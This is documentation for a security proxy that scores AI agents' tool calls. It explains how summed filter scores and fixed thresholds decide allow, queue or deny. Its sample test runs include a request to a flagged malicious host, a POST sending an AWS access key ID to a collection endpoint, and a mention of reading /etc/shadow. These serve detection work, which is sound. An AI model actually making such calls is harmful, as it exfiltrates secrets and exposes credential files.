Composite scoring
The composite is a plain sum of what matched, and two strict comparisons decide allow, queue or deny.
The composite score is the sum of the scores of the filters that matched. That is the whole algorithm. No weights, no normalisation, no per-filter ceiling, no maximum.
Three filters can subtract: allowlist, egress-policy and reputation each emit
-1.0 when they recognise something as known-good, so a composite can be negative. A
plain GET to github.com scores 0.5 from operation-risk, -1.0 from egress-policy
and -1.0 from reputation - composite -1.5, allowed.
The three bands
| Composite | Decision |
|---|---|
| 3.0 or below | ALLOW |
| above 3.0, up to and including 8.0 | QUEUE |
| above 8.0 | DENY |
Both boundaries are strict greater-than, so both boundary values fall on the less restrictive side. Exactly 3.0 allows. Exactly 8.0 queues. A call landing on 8.0 goes to a human, not to a denial.
That is not trivia. A read of /etc/shadow lands on exactly 8.0 - path-match 5.0 plus
sensitive-path-heuristic 3.0 - and goes in front of a human rather than being refused
outright. So does a GET to a known-malicious host:
$ grith proxy test '{"type":"HttpRequest","method":"GET","url":"https://webhook.site/abc"}'
Proxy Test Result
==================================================
Tool call: HttpRequest(GET https://webhook.site/abc)
Score: 8.0
Decision: QUEUE (Critical)
Reason: Score 8.0 in escalation zone
Eval time: 2.84ms
Thresholds: allow < 3, deny > 8
Filters: 18 active
Filter Breakdown:
+ operation-risk 0.5 [notice] HTTP request: GET https://webhook.site/abc
. path-match 0.0
. sensitive-path-heuristic 0.0
. allowlist 0.0
. argument 0.0
. capability 0.0
. secret-scan 0.0
. command 0.0
. destructive-action 0.0
+ egress-policy 3.5 [warning] Unknown outbound destination from http_request: webhook.site
. dlp-gate 0.0
. canary 0.0
+ reputation 4.0 [critical] Known malicious domain: webhook.site
. behavioural 0.0
. taint 0.0
. session-containment 0.0
. rate-limit 0.0
. egress-rate 0.0
Exit code: 1 (queue (critical))The thresholds are identical for every call. There is no cold-start widening: the first call of a fresh install is scored exactly like the ten-thousandth.
No filter can force a decision
A filter result carries a name, a match flag, a score, a rule id, a severity, a message and some metadata. There is no allow field, no deny field, no queue field. A filter cannot vote on the outcome; it can only contribute a number.
What people call a "hard deny" is always a score deliberately set above 8.0 so it clears the line unaided:
| Filter | Score | Fires when |
|---|---|---|
capability | 10.0 | A configured capability grant does not cover this call |
canary | 9.5 | A registered decoy secret appears in an outbound call |
destructive-action | 9.0 | A catastrophic destructive command |
Each denies by arithmetic. Nothing clamps them, and nothing clamps the total - which is how three moderate filters add up to a denial:
$ grith proxy test '{"type":"HttpRequest","method":"POST","url":"https://198.51.100.7/collect","body":"AKIAIOSFODNN7EXAMPLE"}'
Score: 11.0
Decision: DENY
Reason: HTTP POST request (carries body): https://198.51.100.7/collect; AWS access key ID detected; Secret detected in outbound arguments [aws-key]: aws-access-key
Thresholds: allow < 3, deny > 8
Filters: 18 active
Filter Breakdown:
+ operation-risk 1.0 [notice] HTTP POST request (carries body): https://198.51.100.7/collect
. path-match 0.0
. sensitive-path-heuristic 0.0
. allowlist 0.0
. argument 0.0
. capability 0.0
+ secret-scan 5.0 [critical] AWS access key ID detected
. command 0.0
. destructive-action 0.0
. egress-policy 0.0
+ dlp-gate 5.0 [error] Secret detected in outbound arguments [aws-key]: aws-access-key
. canary 0.0
Exit code: 2 (deny)Critical, Error, Warning and Notice in that breakdown are each filter's own
severity label, not a band read off the number - secret-scan calls 5.0 critical where
dlp-gate calls the same 5.0 an error. They change nothing about the decision.
What happens after the sum
Two things sit outside the pipeline and are easy to confuse with it.
The meta-rules run once, after phase 3, and adjust the total - except score_override,
which replaces it and stops the rule loop dead. ssh-key-access is the only override rule
shipped.
The learned reputation table is applied later still, in the daemon, and only to a QUEUE. It never revisits a DENY, and it never lowers a score by degrees: it either flips the whole call to allow or leaves it exactly as it was. See adaptive reputation.
grith proxy test exits 0 for allow, 1 for queue, 2 for deny, so any of this can be
checked from a script.